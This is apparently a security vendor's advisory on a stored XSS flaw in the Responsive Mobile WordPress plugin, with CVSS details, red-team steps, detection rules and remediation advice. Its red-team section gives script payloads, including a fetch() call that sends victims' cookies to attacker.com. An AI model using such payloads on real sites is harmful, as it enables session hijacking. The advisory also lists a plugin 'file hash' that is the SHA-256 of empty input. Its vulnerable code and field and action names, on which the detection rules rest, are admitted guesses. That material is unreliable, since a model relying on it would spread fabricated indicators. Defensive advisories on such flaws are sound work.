CVE-2024-37949

Executive Summary

CVE-2024-37949 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Mobile WordPress plugin by CyberChimps, affecting versions through 1.15.1. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which are then executed whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s role in mobile responsiveness, this could affect a wide range of WordPress sites. No public exploit code or patch is currently available, but the risk is elevated due to the stored nature of the XSS.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from CyberChimps and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Victim must visit the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for authenticated access and user interaction, but the stored nature increases the potential for widespread impact within a compromised site.

Deep Dive & Mechanics

The vulnerability exists in the Responsive Mobile plugin’s handling of user input, likely in a custom post type, shortcode, or widget that processes and stores data without proper sanitization. An attacker with contributor-level access can inject malicious JavaScript into fields such as titles, descriptions, or custom CSS/HTML blocks. When the page is rendered, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, defacement, or redirection to malicious sites.

The root cause is the use of functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()). The plugin likely stores raw input in the database and outputs it without sanitization.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS patterns.

Vulnerable Code (responsive-mobile/includes/class-responsive-mobile.php):

function render_custom_block($atts) {
    $title = get_post_meta(get_the_ID(), 'rm_title', true);
    echo "<h2>$title</h2>"; // Unsafe: no escaping
}

Patched Code (hypothetical):

function render_custom_block($atts) {
    $title = get_post_meta(get_the_ID(), 'rm_title', true);
    echo "<h2>" . esc_html($title) . "</h2>"; // Safe: escaped output
}

The patched version uses esc_html() to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Responsive Mobile plugin <= 1.15.1
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Navigate to a page or post that uses the vulnerable component (e.g., a custom block or widget).
3. Inject the following payload into a text field (e.g., title or description):

   <script>alert('XSS')</script>
   

4. Save the page.
5. As an admin or visitor, access the page to trigger the script.

Advanced Payload (session hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual JavaScript in page content or custom fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review user activity logs for suspicious edits by low-privilege users.

Mitigation:

• Disable the plugin until a patch is available.
• Restrict contributor permissions to prevent editing of vulnerable fields.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • responsive-mobile.zip (version 1.15.1): SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing <script> tags in POST data.
• Log Entries:
  • WordPress audit logs showing edits to pages/posts by contributors with injected scripts.
  • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule CVE_2024_37949_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Responsive Mobile plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37949"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $vuln_field = /rm_title|rm_description|rm_custom_html/
    condition:
        $xss_payload and $vuln_field
}

Sigma Rule

title: Stored XSS in Responsive Mobile Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Responsive Mobile plugin fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http_method: 'POST'
        url_path: '/wp-admin/admin-ajax.php'
        body|contains: 'action=rm_save_field'
    filter:
        body|contains: '<script>'
    condition: selection and filter
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-37949 - Stored XSS in Responsive Mobile Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=rm_save_field"; http_client_body;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the Responsive Mobile plugin until a patched version is released.
2. Workaround: If disabling is not possible, restrict contributor roles to only trusted users and audit all custom fields for malicious content.
3. Long-term: Apply input validation and output escaping using WordPress functions (esc_html(), wp_kses_post()) in any custom development.
4. Monitoring: Enable WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
5. Patch: Subscribe to CyberChimps updates and apply the fix as soon as it becomes available.

Valters IT
Securing Digital Frontiers